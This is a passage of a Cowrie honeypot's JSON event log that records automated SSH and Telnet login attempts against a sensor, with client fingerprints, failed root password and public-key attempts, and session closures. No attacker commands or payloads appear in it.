{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:16.069283Z","src_ip":"193.37.70.224","session":"4bbc5ff4e36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:16.163367Z","src_ip":"193.37.70.224","session":"4bbc5ff4e36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"98765","message":"login attempt [root/98765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:16.457099Z","src_ip":"193.37.70.224","session":"4bbc5ff4e36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:16.855676Z","src_ip":"80.94.92.184","session":"9080fe01305b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:17.553120Z","src_ip":"193.37.70.224","session":"4bbc5ff4e36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":54376,"dst_ip":"159.203.135.109","dst_port":22,"session":"bebe24a0d3d4","protocol":"ssh","message":"New connection: 43.130.29.69:54376 (159.203.135.109:22) [session: bebe24a0d3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:18.487194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:18.491579Z","src_ip":"43.130.29.69","session":"bebe24a0d3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:18.560774Z","src_ip":"43.130.29.69","session":"bebe24a0d3d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert123","message":"login attempt [root/qwert123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:18.871417Z","src_ip":"43.130.29.69","session":"bebe24a0d3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:19.943604Z","src_ip":"43.130.29.69","session":"bebe24a0d3d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":45214,"dst_ip":"159.203.135.109","dst_port":22,"session":"a779e452cb20","protocol":"ssh","message":"New connection: 89.108.118.91:45214 (159.203.135.109:22) [session: a779e452cb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:29.319648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:29.324939Z","src_ip":"89.108.118.91","session":"a779e452cb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:29.465357Z","src_ip":"89.108.118.91","session":"a779e452cb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13245768","message":"login attempt [root/13245768] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:29.885395Z","src_ip":"89.108.118.91","session":"a779e452cb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:31.027645Z","src_ip":"89.108.118.91","session":"a779e452cb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.62.97.159","src_port":43334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a984628deab1","protocol":"telnet","message":"New connection: 167.62.97.159:43334 (10.17.0.5:23) [session: a984628deab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:35.057634Z"}
{"eventid":"cowrie.session.closed","duration":12.135000944137573,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:47.192554Z","src_ip":"167.62.97.159","session":"a984628deab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.198","src_port":15656,"dst_ip":"10.17.0.5","dst_port":22,"session":"f14ab94686db","protocol":"ssh","message":"New connection: 154.16.180.198:15656 (10.17.0.5:22) [session: f14ab94686db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:57.713176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:57.717340Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:57.811088Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:16:87:11:76:1b:27:3f:97:25:c8:60:15:d5:1d:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfQwJFlszbX9zFbG0QunHUBme9Jkqin8sE23srnKXhSycneY2HH/ndZpvjfyBi1tyhSFEXXc/AlQBQuU7x7It2m3kQL+ebiVxRgdWCNIc7M9dThEtN8rkNvkmtt+eoS9GdQnSg66OudgLuRfPmPJphJfpWZ+6Wqt8XoIB/CR+hXUlaJq+f9EUfDKC+S0/iLdvyiX/PlE1R75iY9Bb4aY+H7CZq+kopPzSmJSyUU0FRp0/z1JRMxMs1GOWWQs1TnRUwSFm4Ouvd7vn29AyfaBjRRXsGfD/wGPagjmLrQnFZIkQKPoP9e6F0cNuzFukM/lLc0b7LfnHnCdIv80DQbbbj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:16:87:11:76:1b:27:3f:97:25:c8:60:15:d5:1d:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.243043Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:16:87:11:76:1b:27:3f:97:25:c8:60:15:d5:1d:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfQwJFlszbX9zFbG0QunHUBme9Jkqin8sE23srnKXhSycneY2HH/ndZpvjfyBi1tyhSFEXXc/AlQBQuU7x7It2m3kQL+ebiVxRgdWCNIc7M9dThEtN8rkNvkmtt+eoS9GdQnSg66OudgLuRfPmPJphJfpWZ+6Wqt8XoIB/CR+hXUlaJq+f9EUfDKC+S0/iLdvyiX/PlE1R75iY9Bb4aY+H7CZq+kopPzSmJSyUU0FRp0/z1JRMxMs1GOWWQs1TnRUwSFm4Ouvd7vn29AyfaBjRRXsGfD/wGPagjmLrQnFZIkQKPoP9e6F0cNuzFukM/lLc0b7LfnHnCdIv80DQbbbj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.246627Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:8e:54:b8:4f:ba:09:6f:25:03:81:00:c5:49:49:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbhg10L0d4lAvUtL0Np6l6com6GbzYYkCi7Nj0w66e/mhGRhQISB1Wref77ReiRZrcfRvqWOmIYM7vM7kQWLsKbkmEfY/P44dRQVMqbFIc63/OQFOadQ63VNi3sI31XmvRqmdVyUOJelz5UafGWenYQxD79qgb+w6yx/viGUMgjuzqPYp0RXvynQKoPK2TnqQ4XXsxeAPjDdIijIOZPkEbu+8fivwD+8Mnc0xnki0h9ebKBCLQMfeMhL3XZ1scJPlrE6UmRsNqPjs+EmB/YYTVLUsXqUsFVpCMLE2a0ENz9pXyM0f48Pg3gOFWEjPAeJz6Rv3S2OI8M82iaFJa3gjgtwTpie7goyVIRDwNTGbaZO0A5HsiWWgkQRu8EgU/B2lwfXR+/s4nlv+jnDWDJT6OpW3zdT3riKo6zbE9fVAL4THRrTs7WJ3ll7vB/exm+5J+nbG2QVtp9A+gzpIBWtA2gi6zcBvAnOrdoiw9cT9Nr92FC3QnLZInk3MBOGY/YzL9cs8S20qUR0On7KWD19RL2qj+uJkLHLqezhzAvC+QPoZI9UpgQMe8vtCAZmSCd171HAo5mBcK84LaEjMkKu4IeVVHvCwFdSGzHw8gqKTyj45YYvnEA2tabbmrkp7eODeK1IkfcSAHHSRCPvzZRtwyPZnPfuv3hTYuzIX39r9FFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:8e:54:b8:4f:ba:09:6f:25:03:81:00:c5:49:49:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.337446Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:8e:54:b8:4f:ba:09:6f:25:03:81:00:c5:49:49:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbhg10L0d4lAvUtL0Np6l6com6GbzYYkCi7Nj0w66e/mhGRhQISB1Wref77ReiRZrcfRvqWOmIYM7vM7kQWLsKbkmEfY/P44dRQVMqbFIc63/OQFOadQ63VNi3sI31XmvRqmdVyUOJelz5UafGWenYQxD79qgb+w6yx/viGUMgjuzqPYp0RXvynQKoPK2TnqQ4XXsxeAPjDdIijIOZPkEbu+8fivwD+8Mnc0xnki0h9ebKBCLQMfeMhL3XZ1scJPlrE6UmRsNqPjs+EmB/YYTVLUsXqUsFVpCMLE2a0ENz9pXyM0f48Pg3gOFWEjPAeJz6Rv3S2OI8M82iaFJa3gjgtwTpie7goyVIRDwNTGbaZO0A5HsiWWgkQRu8EgU/B2lwfXR+/s4nlv+jnDWDJT6OpW3zdT3riKo6zbE9fVAL4THRrTs7WJ3ll7vB/exm+5J+nbG2QVtp9A+gzpIBWtA2gi6zcBvAnOrdoiw9cT9Nr92FC3QnLZInk3MBOGY/YzL9cs8S20qUR0On7KWD19RL2qj+uJkLHLqezhzAvC+QPoZI9UpgQMe8vtCAZmSCd171HAo5mBcK84LaEjMkKu4IeVVHvCwFdSGzHw8gqKTyj45YYvnEA2tabbmrkp7eODeK1IkfcSAHHSRCPvzZRtwyPZnPfuv3hTYuzIX39r9FFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.340531Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:24:0c:66:e2:ed:61:49:ab:7e:19:74:f0:97:77:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjeTVYRBDvu0DIOGEwapydgwppQFRBQLrlL1LdgABRSDDkk3/A8yswxnU4zuofGFepMKadCr8O35L6zYs89YoH/7RRsbP6IcY3WCzn4ITDfnR1sW+iH+VI/JKd3cUqDtx2FCRxBzSeQSPTPX40cUbMZ10F5svVWBoEYZWDcjl3yy/TsfZABFNiCKAtwlYfym6jDjc/pzoSC2E5N/qIdtwrDo2ZZLs9n20mcSEyLRigmdkDQyxYaQWKVnKx3yP6urBtnE3/QjosJM5rvCKNi/19X/Qh47022aet+u7v9xH3zvgMZ36Zd9VSvbfdNpct6z6n4kEs/lGrShzO/Yvby7hvikQ4xqlM4Ta6IieLnmQJgtpnhkpXKSoZdfMrPu2T/JxWNShPTSJmdZbMkpEqbXKMCCxDEEL0nchfe/F1WRZAkHga/JvZT/M2Alb70d3Oo754VhSQYK15R028ZebCTlyuLAHAymI4TgPh2k1TAvJxC7fP8SOtB52U3BFld6/Qt1KI2axN/d+nMngww4KoMDehHW6ty72G7QcnAqGFgdy5WY/JIecp0y1MrwhF1gEWuWHo8xMucJ4YH+3tDzLjFxmkBwgQDXwg+D9+wtmfdtFdBwwrqxTOVU0W7WrCdJDh60nkGofj45mlF5504Q+3rC9kbK8BzxvosMP50iIC+salEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:24:0c:66:e2:ed:61:49:ab:7e:19:74:f0:97:77:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.430554Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:24:0c:66:e2:ed:61:49:ab:7e:19:74:f0:97:77:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjeTVYRBDvu0DIOGEwapydgwppQFRBQLrlL1LdgABRSDDkk3/A8yswxnU4zuofGFepMKadCr8O35L6zYs89YoH/7RRsbP6IcY3WCzn4ITDfnR1sW+iH+VI/JKd3cUqDtx2FCRxBzSeQSPTPX40cUbMZ10F5svVWBoEYZWDcjl3yy/TsfZABFNiCKAtwlYfym6jDjc/pzoSC2E5N/qIdtwrDo2ZZLs9n20mcSEyLRigmdkDQyxYaQWKVnKx3yP6urBtnE3/QjosJM5rvCKNi/19X/Qh47022aet+u7v9xH3zvgMZ36Zd9VSvbfdNpct6z6n4kEs/lGrShzO/Yvby7hvikQ4xqlM4Ta6IieLnmQJgtpnhkpXKSoZdfMrPu2T/JxWNShPTSJmdZbMkpEqbXKMCCxDEEL0nchfe/F1WRZAkHga/JvZT/M2Alb70d3Oo754VhSQYK15R028ZebCTlyuLAHAymI4TgPh2k1TAvJxC7fP8SOtB52U3BFld6/Qt1KI2axN/d+nMngww4KoMDehHW6ty72G7QcnAqGFgdy5WY/JIecp0y1MrwhF1gEWuWHo8xMucJ4YH+3tDzLjFxmkBwgQDXwg+D9+wtmfdtFdBwwrqxTOVU0W7WrCdJDh60nkGofj45mlF5504Q+3rC9kbK8BzxvosMP50iIC+salEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.433371Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:72:81:fc:d7:d7:d1:a3:c6:e5:77:70:af:5f:04:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaAfDWRYwpkfvqXdwjDGkWKDHwfgANsjjCAC/Uxr2RGbPxyN3CB19UVJjSloBlqdLNAbRjE1FEdcgr8Bn2wgS+i2z2FD7zjanQCilDUqG+ijvB7QxWlKqNXCl98cczQHLFhroTeHD3WqVhXromJSVX//op93Cmur6iVxLORNOJn5pKfuOI9V+ta3MAka+3bvvhqKG/6QEK2Q0qGVyeH6a+cnEgBpNu+kHGadsQQ2aDhyxm/S17whheZbXtIOxdetxQnp50Reun318PvWQ/OP/1BjbxG7HQzA2/SHDbfeSanCFkb/GxnJ4MtKCiAx75HbYVG8E1GEWRVuRBCQ/rofXOpCdairwdY1XQDx1aql4vWj+EhNOO6A+GxEn4yLdEXmvvzmoSSZyaeHiS4gxxDwzEjn3gK6Sv/dcx29vUeVebZQKErmNkED1/Sj5vPFh7E6VP6kPemM2zfLsCO1qbNQLKWqsL8cICPODFSuyQLl49ozmt1FKHCBYmZSA8pVQ1b33ULkOHEV8+CwBKlOHizVuh6uf8ovVA0yLy8T9b0HKRUoghi4dVrvt1TL33tlJb1OmhD4x9EQN1LggpA5Jv0zk5iyXLfkTEaaWZj5SXC3cX+R/4OquaLQAGp5bRcveqOanUjm3D5IviKrvpEzR4IqWUgD/6tukNB1n2u3R/KnTQyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:72:81:fc:d7:d7:d1:a3:c6:e5:77:70:af:5f:04:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.525239Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:72:81:fc:d7:d7:d1:a3:c6:e5:77:70:af:5f:04:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaAfDWRYwpkfvqXdwjDGkWKDHwfgANsjjCAC/Uxr2RGbPxyN3CB19UVJjSloBlqdLNAbRjE1FEdcgr8Bn2wgS+i2z2FD7zjanQCilDUqG+ijvB7QxWlKqNXCl98cczQHLFhroTeHD3WqVhXromJSVX//op93Cmur6iVxLORNOJn5pKfuOI9V+ta3MAka+3bvvhqKG/6QEK2Q0qGVyeH6a+cnEgBpNu+kHGadsQQ2aDhyxm/S17whheZbXtIOxdetxQnp50Reun318PvWQ/OP/1BjbxG7HQzA2/SHDbfeSanCFkb/GxnJ4MtKCiAx75HbYVG8E1GEWRVuRBCQ/rofXOpCdairwdY1XQDx1aql4vWj+EhNOO6A+GxEn4yLdEXmvvzmoSSZyaeHiS4gxxDwzEjn3gK6Sv/dcx29vUeVebZQKErmNkED1/Sj5vPFh7E6VP6kPemM2zfLsCO1qbNQLKWqsL8cICPODFSuyQLl49ozmt1FKHCBYmZSA8pVQ1b33ULkOHEV8+CwBKlOHizVuh6uf8ovVA0yLy8T9b0HKRUoghi4dVrvt1TL33tlJb1OmhD4x9EQN1LggpA5Jv0zk5iyXLfkTEaaWZj5SXC3cX+R/4OquaLQAGp5bRcveqOanUjm3D5IviKrvpEzR4IqWUgD/6tukNB1n2u3R/KnTQyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.529253Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:4b:4e:b5:04:66:0e:3e:d4:b9:3a:ec:8b:dc:ae:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC22wyPge2Dj2C7lohWNBlHvv1nXdQ4wEQ6VCIP8BZTa89tiUhu5d2PkO9k9eLp4+/q84LDkA+BZ1JTJt2zeKh5nevHV6fTuGiyqYFR5YLSfuFBhhP8TcwLzukNB/7pvVgVk6ytI8luSpMWMW2HMEGDrtXWthrAwazN3NaEz6MFbq7kjnF1beOQaD0FmXfJCnMrb2kW8ak2v8dvweRNEjJrYp54kQFOrjRnOk4z3Ll9LfLTGbkdZbyI+Hdz5jPGAkM8wdRQU1cIzDbt39jKd23o0++BAAiY2w8cVvXrJ81lxgbZApErR9qeSyQGplN3oj4yP+ldCNS/3UVoDD2bCYzlu72dnpiAnTWobdkh7Km8ZtiHlYjpWW/gvPUZJ6M41dMnDMENqg3nhRfCZT0RHK4pzmLOVz86ELVZQseXN/YdsU0PCLY6e0WZXLwB2W6+CCkg5Y4qGdZl7q9nvdAABIZxttUJ+IpLW9puL4cmODY4FGbOD50i+Xl4zOYwnjy7u36cHfwMkmM27cGL5zTwx0Gw+saHoHYxAPH5fuFlcKbr24FEfHdi1FZ/Rv06CAnYFyLJ2KlTccSeij7UCzb2NQY0mPomAoE3j7f1sgHE9Y+vGq8MquaUayNDEShntykIsD+68F7jrxeHmN9EoE/uqnLOKGBdAz6oFkrsiN8Z7Q2OhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 